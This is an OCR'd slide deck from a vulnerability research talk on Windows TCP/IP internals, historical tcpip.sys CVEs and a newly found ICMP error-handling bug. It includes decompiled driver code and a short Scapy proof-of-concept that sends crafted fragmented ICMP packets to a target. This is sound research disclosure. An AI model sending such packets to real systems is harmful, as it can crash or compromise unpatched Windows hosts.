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About Me

= Security Developer
= Malware detection and defence

= Previously was vulnerability researcher
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Motivation

= Share approach to large systems
= Windows networking internals knowledge

= \Weird machines are fun




Reversing Large Systems

One Piece At A Time
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Bug Hunting

Understand the system

More knowledge leads to > odds of success
Complexity leads to bugs

Public documentation, other research

Past vulnerabilities
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Large Systems

= Can't RE entire system

= Look for hints to promising locations (function names,
strings, etc.)

= Use knowledge from research and analysis to locate
Interesting areas

= Combine dynamic and static analysis

= Don't be afraid to be wrong
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Tips
= Keep notes
= Cache limitations

= Function constraints or interesting behaviour

= Review notes periodically
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Tools

= Disassembler (Ghidra, IDA, etc.)

= Load public structures

= Kernel debugger (windbg)
= Python

= Scapy to craft packets

= Wireshark




Windows Networking Internals

Can you count the drivers
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Windows

TCPIP O e e ——————
Stack

WSK

NDIS Driver
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WFP Callouts

*  tcpip!IPSecinboundTransportFilterCalloutClassifyV4/6 *  tcpip!WfpAlepRioAppldHelperCalloutClassify
*  tcpip!IPSecOutboundTransportFilterCalloutClassifyV4/6 *  tepip!WfpAlepSetBindIfListCalloutClassify
*  tcpip!IPSecinboundTunnelFilterCalloutClassifyV4/6 *  tcpip!WfpVpnCalloutClassifyV4/6

*  tcpip!IPSecOutboundTunnelFilterCalloutClassifyV4/6 *  mpsdrv!MpsQueryUserCallout

*  tcpip!IPSecForwardinboundTunnelFilterCalloutClassifyV4/6 *  mpsdrv!MpsLoggingCallout

*  tcpip!IPSecForwardOutboundTunnelFilterCalloutClassifyV4/6 *  mpsdrv!MpsSecondaryConnectionsCallout
*  tcpip!lIPSecinboundAcceptAuthorizeCalloutClassify *  mpsdrv!MpsFlowEstablishedCallout

e  tcpip!IPSecAleConnectCalloutClassify *  mpsdrv!MpsStreamFlowAnalysisCallout

*  tcpip!WfpEnforceSilentDrop *  mpsdrv!MpsStreamFlowAnalysisCallout

*  tcpip!WfpAlepSetOptionsCalloutClassify . Ndu!NduFlowEstablishedClassify

*  tcpip!IPSecinboundTunnelAcceptAuthorizeCalloutClassify . Ndu!NdulnboundTransportClassify

*  tcpip!FlpEdgeTraversalCalloutClassify *  Ndu!NduOutboundTransportClassify

* tcpip!ldpCalloutClassifyV4/6 . Ndu!NdulnboundMacClassify

*  tcpip!TcpTemplatesFilter . Ndu!NduOutboundMacClassify

*  tcpip!WfpAlepDbgLowboxSetByPolicyLoopbackCalloutClassify WdNisDrv!wfp_callout::stream_classify
*  tcpip!WfpAlepSetOptionsCalloutClassify *  WdNisDrv!wfp_callout::flow_established_classify
*  tcpip!WfpAlepPolicySilentModeCalloutClassify

12



,EE‘ FIELD EFFECT

Network Drivers

agilevpn.sys
asynmac.sys
bridge.sys
bthpan.sys
FWPKCLNT.sys
ipfltdrv.sys
ipnat.sys
|I2bridge.sys
lltdio.sys
mpsdrv.sys
mslldp.sys
NdisImPlatform.sys
ndiswan.sys
NetAdapterCx.sys
netio.sys
netvsc.sys

nwifi.sys

pacer.sys
PktMon.sys
rasl2tp.sys
raspppoe.sys
raspptp.sys
rassstp.sys
rspndr.sys
tcpip.sys
tunnel.sys
vfpext.sys
vmswitch.sys
wanarp.sys
WdiWiFi.sys
WdNisDrv.sys
wfplwfs.sys
Winnat.sys

xboxgip.sys
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Network Input

Network Transport ]
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Key Structures

= Packet data handled with NET_BUFFER structures

MET BUFFER MET BUFFER_HEADER MET BUFFER DATA
Mext
NetBufferHeader NetBufferData MdiZhain
Datalength
ChecksumBias | ~~ _ ~ DataOffset
iy Lirk N
Reserved ~ l CurrentMd|
., LY
MdisReserved - . - CurrentMdiOffset
|ProtocolReserved
MiniportReserved
MdisPoolHandle
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NET_BUFFER
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DataLength
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Key Functions

NDIS_EXPORTED_ROUTINE
PVOID NdisGetDataBuffer (

[in] NET BUFFER *NetBuffer,
[in] ULONG BytesNeeded,
[in, optional] PVOID Storage,

[in] ULONG AlignMultiple,
[in] ULONG AlignOffset

) ;

= Returns pointer to packet data
= Storage parameter for contiguous data

" Fails if Storage is NULL and fragmented data

17
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Key Functions

NDIS_EXPORTED_ROUTINE
VOID NdisAdvanceNetBufferDataStart (

[1n] NET BUFFER
in] ULONG
in] BOOLEAN

[
[.
[in, optional] NET BUFFER FREE MDL

) 7

*NetBuffer,
DataOffsetDelta,
FreeMdl,
*FreeMdlHandler

= Adjusts DataOffset
= Can free MDLs as data is consumed

= Corresponding Retreat function

18



Historical Vulnerabilities

“Study history, study history. In history lies all the secrets of statecraft.” — Confucius
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Network CVEs

_H

CVE-2013-3183
ICMPv6 Router Advertisement PoD

CVE-2020-16898

. X X
ICMPv6 Recursive DNS Server Option
CVE-2021-24086 X
IPv6 Nested Fragment
CVE-2021-24074 X
IPv4 Fragment Reassembly
CVE-2021-24094 X
IPv6 Fragment Reassembly
CVE-2022-34718 ¥

IPv6 IPSEC ESP Fragmentation
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CVE-2020-16898
ICMPv6 Recursive DNS Server
Option aka Bad Neighbour

= |pvepHandleRouterAdvertisement
* Length mismatch between validation and processing

= Leads to processing of unvalidated options

char localStorage[0x20];

data = NdisGetDataBuffer ( NetBuffer,
optionLength, // Not validated
localStorage,
0, 0 );

21
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CVE-2021-24074/94

IPv4/6 Fragment Reassembly

= |pv4pReassembleDatagram and IpvepReassembleDatagram
= Data confusion between fragments
= CVE-2021-24074 leads to out of bounds write

" CVE-2021-24094 leads to use after free

THE STATE OF CYBERWARFARE SUPPORT UNIVERSITY

RMIS PLATFORM INDUSTRY SOLUTIONS RESOURCES RESEAR
®

Technical Deep Dive — CVE-2021-
24094

As mentioned above, this vulnerability lies within the IPv6 fragmentation mechanism and
can be triggered with a handful of maliciously crafted IPv6 fragment packets. This bug is
categorized as an RCE since two pointers in the metadata of the IPv6 fragmentation
state aren’t properly handled, resulting in a “Dangling Pointer” scenario.

Theoretically, this state could be exploited by an attacker, in a Use-After-Free exploit that
leverages heap shaping or other primitives to reach code execution. In addition, our
research has also discovered that this vulnerability can be leveraged to obfuscate traffic,
which can lead to a firewall bypass — since the result of this fragmentation bug can lead
to a packet being reassembled in a different way, by a guarding firewall, and a target
Windows device.

To find the underlying bug, we started by analyzing the binary diff between revisions 804
(released February 9, 2021 — when the bug was resolved) and 746 (the one prior) from
build 19041 and found the following additions to the IPv6 reassembly routine (highlighted
in green is the added code):

ebled_packet->fl
reassmebled_packet er_list = pnet_buffer_list;
reassmebled_packet->offset_of_routing_option_in_packet = offset_of_routing_option_in_packet;
reassmebled_packet->ip_header = new_header;

22
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CVE-2022-34718

IPv6 IPSEC ESP Fragmentation
aka EVIlESP

I[pv6ReassembleDatagram and IppReceiveEsp
Out of order IPv6 options
Options offset can point past end of fragment

Leads to single byte memory corruption

// nextheader offset is bigger than header buffer
header[ Reassembly->nextheader offset | =
Reassembly->nextheader value;

SecurityIntelligence

Dissecting and Exploiting TCP/IP
RCE Vulnerability “EVilESP”

/

September’s Patch Tuesday unveiled a critical remote vulnerability in tcpip.sys , CVE-2022-

34718. The advisory from Microsoft reads: “An unauthenticated attacker could send a specially
crafted IPv6 packet to a Windows node where IPsec is enabled, which could enable a remote
code execution exploitation on that machine.”

Pure remote vulnerabilities usually yield a lot of interest, but even over a month after the patch,
no additional information outside of Microsoft’s advisory had been publicly published. From my
side, it had been a long time since I attempted to do a binary patch diff analysis, so I thought this
would be a good bug to do root cause analysis and craft a proof-of-concept (PoC) for a blog post.

On October 21 of last year, I posted an exploit demo and root cause analysis of the bug. Shortly
thereafter a blog post and PoC was published by Numen Cyber Labs on the vulnerability, using a
different exploitation method than I used in my demo.

23



Path to Oday

Putting it all together



'$l FIELD EFFECT 0: kd> x tcpip!*error*

fff£f£f805 5c7fefel tcpip!IppSendErrorListForDiscardReason (void)
fff££f805°5¢c8204e0 tcpip!WfpReportSysErrorAsNtStatus (void)

fff££f805°5¢c820244 tcpip!IppAllocatelcmpError (void)
O e fff£f£f805°5c81f4a8 tcpip!WfpCheckForTupleStateOnIcmpError (void)
ffff£f805 5c7baebe tcpip! Icmpv4dpHandleError (void)
f fff££f805 5¢c847dfc tcpip!WfpReportError (void)
O ffff£f805°5c84a064 tcpip!IcmpvépHandleError (void)

fff£f£f805°5c848f98 tcpip!IcmpvépHandleEchoReplyAndError (void)
I nte reSt ffff£f805°5¢c98b680 tcpip!SettingTcpAutotuningError

fff£f£f805°5¢c8f1564 tcpip!IsICMPError (IsICMPError)
ffff£f805 5c8f17b0 tcpip!ProcessIcmpErrorClassify (ProcesslIcmpErrorClassify)
ffff£f805°5¢c92ecl0 tcpip!IplpsProviderSendIcmpError (IplIpsProviderSendIcmpError)

fff£f£f805 5c916acd tcpip!WfpReportSysErrorAsWinError (WfpReportSysErrorAsWinError)
ff£f££805 5¢c98b640 tcpip!PolicyKeynameSizeZeroError

0: kd> x tcpip!*fragment*

fff£f£f805°5c801e70 tcpip!IpvébpFragmentPacketHelper (void)

fff££f805°5c801590 tcpip!Ipvi4pFragmentPacketHelper (void)

fff££f805°5¢c94c360 tcpip!Ipvé4pFragmentLookup (void)

fff££f805°5¢c7£fd220 tcpip!IppFragmentPackets (void)

fff££f805°5¢c939a90 tcpip!IppAddFragmentToGroup (void)

fff££f805°5¢c93al0c tcpip!IppFindLocationInFragmentGroup (void)

fff££805°5¢c93al1d0 tcpip!IppFindOrCreateGroupForFragment (void)

fff£f£f805 5c94cbec tcpip! Ipv4pReceiveFragment (Ipv4pReceiveFragment)

fff££805 5c9eced0 tcpip!UrlpFeedQueryAndFragment (UrlpFeedQueryAndFragment)
ff£f££805°5¢c9524cc tcpip!IpvepFragmentLookup (IpvopFragmentLookup)

ffff£f805 5c952ee0 tcpip! IpvbpReceiveFragment (IpvopReceiveFragment)

fff££f805°5¢c952470 tcpip!IpvéepAuthenticateFragmentHeader (IpvopAuthenticateFragmentHeader)
fff£f£f805°5¢c9472d8 tcpip!Ipvi4pCompactFragmentationHeader (Ipv4pCompactFragmentationHeader)
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ICMP Error Packets

. ICMP Message l

<4—from IP datagram that triggered the error—

IP header ICMP header IP header 8 bytes of payload
— el
et T “-h-h"'_—*-« LT,
o T ——
type code checksum

Unused (0x00000000)

* |CMP error messages include the complete IP header and
the first 8 bytes of the payload (typically: UDP, TCP)

26
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ProcesslcmpErrorClassify()

IcmpErrorClassify

void ProcessIcmpErrorClassify( NET BUFFER *NetBuffer )
{

// Skip inner IP header to get protocol details

status = IpplInspectSkipNetworklLayerHeaders ( NetBuffer,
if ( 0 <= status ) {

NetioAdvanceNetBuffer ( NetBuffer, headerLength );

if ( addr type == AF INET ) {

status = WfpInspectReceiveControlShimV4 ( NetBuffer,
}

if ( addr type == AF INET6 ) {
status = WfpInspectReceiveControlShimVe ( NetBuffer,

return;

&headerLength ) ;

WfpGetTLInfoForReceiveOnRawEndpoint ( netBuffer, &tlInfo );
NetioRetreatNetBuffer ( NetBuffer, headerLength, 0x0 );

tlInfo

tlInfo

) ;

i

27
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Ipv4pSkipNetworkLayerHeaders()

IcmpErrorClassify

v

SkipHeaders

uint Ipvé4pSkipNetworkLayerHeaders( void *NetBuffer )

{
char localStorage[0x14];

if ( NetBuffer->DatalLength >= 0x14 )

{

ipHeader = NdisGetDataBuffer ( NetBuffer, 0x14, localStorage, 0x4 );

ipHeaderLength = (*ipHeader & 0xf) << 0x2;
1if( 0x13 < ipHeaderlength && ipHeaderLength <= NetBuffer->Datalength ) {
if ( ipHeaderLength != 0x14 ) {

NetioAdvanceNetBuffer ( NetBuffer, 0x14 );

uVar3 = Ipv4ProcessOptionsHelper ( NetBuffer
ipHeaderLength - 0x14,

NULL,
e )
NetioRetreatNetBuffer ( NetBuffer, 0x14 );

28
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lpv4ProcessOptionsHelper()

L

IcmpErrorClassify

v

SkipHeaders

uint Ipv4ProcessOptionsHelper ( NET BUFFER *NetBuffer, uint BufferLength,
RECEIVE CONTEXT *ContextData, ...)

{
lengthProcessed = 0x0;

packetStart = NetBuffer->CurrentMdl->MappedSystemVa;

packetData = (byte *) ( NetBuffer->CurrentMdlOffset + packetStart);
if (BufferLength != 0x0) {
do {

optionCode = packetDatal[0];
optionLength = packetDatall];

if ( optionLength > BufferlLength ) { return 0xc000021b; }

// Process Option

bufferLength = bufferlLength - optionLength;
packetData = packetData + optionLength;
} while (bufferLength != 0x0);
}

return 0x0;

ProcessOptions

29




(- FIELD EFFECT WfpTransportin

v

WfpProcessinTransport cmprrorcossiy

StackIndication()

ProcessOptions

uint WfpProcessInTransportStackIndication( void* Arg0O, NET BUFFER *NetBuffer, ...)

{
// Lots of stuff happens

if( Arg0->field 2fc & 0x20 ) {
ProcessIcmpErrorClassify( NetBuffer );

}

// More stuff happens

return 0x0;

30
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Making Sense of the Data

ContextData->field 0x110 = uVarl;
ContextData->field Ox2fc [= 0x8;

0: kd> !pool @ril3
Pool page ffff92867ff21a20 region 1s Nonpaged pool
f££f£92867££21000 size: al00 previous size: 0O (Allocated) Thre
*ff£f£f92867ff21a1l0 size: 300 previous size: 0 (Allocated) *AleE
Pooltag AleE : ALE endpoint context, Binary : tcpip.sys

0: kd> x tcpip!*aleendpoint*

ffff£f801 536333e0 tcpip!WfpAleEndpointCreationHandler (void)
fffff801 535c42c8 tcpip!WfpAleEndpointTeardownHandler (void)
ffff£f801 53610f60 tcpip!WfpAleEndpointDeactivationHandler (void)

ContextData->AleEndpoint = aleEndpoint;
ContextData->Flags |= 0x8;
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WitpProcesslnTransport
StackIndication()

WfpTransportin

v

IcmpErrorClassify

v

SkipHeaders

ProcessOptions

uint WfpProcessInTransportStackIndication( void* AleEndpoint, NET BUFFER *NetBuffer,

{
// Lots of stuff happens

if( AleEndpoint->Flags & IS RAW SOCKET ) {
ProcessIcmpErrorClassify( NetBuffer );

}

// More stuff

return 0x0;

32
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Proof of Concept

Outer ICMP Body

A

(aka error packet)

[ IP HEADER I ICMP HEADER
(Type 12 = Param Err)

I

IP HEADER

ICMP HEADER
(with options) (Type 0 = Echo Reply)

J

Not fragmentable

Target Fragment Location
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Give me a ping Vasili...
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Proof of Concept

import scapy.all as scpy

def send f (frags):
for £ in frags:
scpy.send (f)

print ("Sending nested ICMP Error")
send f (fragment (IP(dst=target ip) /
ICMP (type=12) /
IPerror (src="192.168.0.1",
options=b"\x95\x26" + b"\x00" * 0x26 /
ICMP (),
fragsize=32), iface)
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[ w11 1P 25140

]
te
REcyelcbin]
EX Administrator: Command Prompt
SN Ethernet adapter Ethernet

Subnet
Default
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Alternate Call Paths

« MSRC bulletin implied raw sockets were required

 Possible to reach with ICMP over IPSec tunnels

References to IpplnspectSkipNetworkLayerHeaders - 10 locations

Label Code Unit Context

ONDITIONAL_CALL

LI

Function Name

P

37
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CVE-2023-23415

« Original bug report was a DoS
« 2 months after confirmation, upgraded to RCE
* |Is MSRC very, very conservative, or...

 Is there another code path?

39
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Ipv4pSkipNetworkLayerHeaders()

IcmpErrorClassify

v

SkipHeaders

uint Ipvé4pSkipNetworkLayerHeaders( void *NetBuffer )
{

char localStorage[0x14];

if ( NetBuffer->DatalLength >= 0x14 )

{
ipHeader = NdisGetDataBuffer ( NetBuffer, 0x14, localStorage, 0x4 );

ipHeaderLength = (*ipHeader & 0xf) << 0x2;
1if( 0x13 < ipHeaderlength && ipHeaderLength <= NetBuffer->Datalength ) {
if ( ipHeaderLength != 0x14 ) {

NetioAdvanceNetBuffer ( NetBuffer, 0x14 );
uVar3 = Ipv4ProcessOptionsHelper ( NetBuffer
He€IScrLength - 0x14,

NetioRetreatNetBuffer ( NetBuffer, 0x14 );

40
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lpv4ProcessOptionsHelper()

WfpTransportin

v

IcmpErrorClassify

v

SkipHeaders

ProcessOptions

uint Ipv4ProcessOptionsHelper ( NET BUFFER *NetBuffer, uint BufferLength,
RECEIVE CONTEXT *ContextData, ...)
{

lengthProcessed = 0x0;

packetStart = NetBuffer->CurrentMdl->MappedSystemVa;

packetData = (byte *) ( NetBuffer->CurrentMdlOffset + packetStart);
if (BufferLength != 0x0) {
do {

optionCode = packetDatal[0];
optionLength = packetDatal[l];

if( optionLength > BufferlLength ) { return 0xc000021b; }
// Process Timestamp Option

if ( optionCode == 0x44 && ContextData != NULL ) {
Ipvd4pProcessTimestampOption ( ContextData, (char *)packetData );

41
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IP Timestamp Option

The IP Timestamps Option records the time (in Universal Time) when each
network device receives the packet during its trip from the point of origin
to its destination

%) 7 15 23 31
Hom oo Fmmmmm e Fmmm e Fmmm - +
type | length | offset |overflw| flags

. Fmmmmmmmmmm——-a- Fmmmmmmmmmm——-- - +
internet ID

S - - T +
time stamp

Hom o Fmmmmmmm e Fmmmmmm e Fmmmmmm e +
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Alternate Call Paths (Part 2)

0: kd> dps tcpip!Ipv4Global+50

fE£££805°
fE£££805°
fEf£££805°
fEf£££805°
fE£££805°
fEf£££805°
fEf£££805°

5¢9ab050
5c9ab058
5¢c9ab060
5¢c9ab068
5¢9ab070
5c¢9ab078
5¢9ab080

00000000 "
ff£££805°
ff£££805°
ff£££805°
ff£££805°
ff£££805°
00000000 "

00000004
5¢811£90
5c¢8345a0
5c85bb80
5¢821580
5c¢83ab70
00000000

tcpip!Ipvé4pValidateNetBuffer
tcpip!Ipv4pAddressInterface
tcpip!Ipv4pAddLinklayerSuffixAddresses
tcpip!Ipv4pUnAddressInterface
tcpip!Ipvéd4plInitializeSubInterface

lpv4pValidateNetBuffer -> Ipv4pProcessOptions -> Ipv4ProcessOptionsHelper

(with Receive Context pointer)
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IPSec

* |KEV1 vs IKEV2

* AHvs ESP vs AH+ESP

* Transport mode vs Tunnel mode
« Main mode vs Aggressive mode

« Other VPN implementations

44
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Exploitation

 Controlled:

 Allocation Size
 Qverwrite Offset

 Not Controlled:

 Overwrite Contents
« Overwrite Length

* Not impossible but definitely non-trivial




Conclusions

Computers are hard
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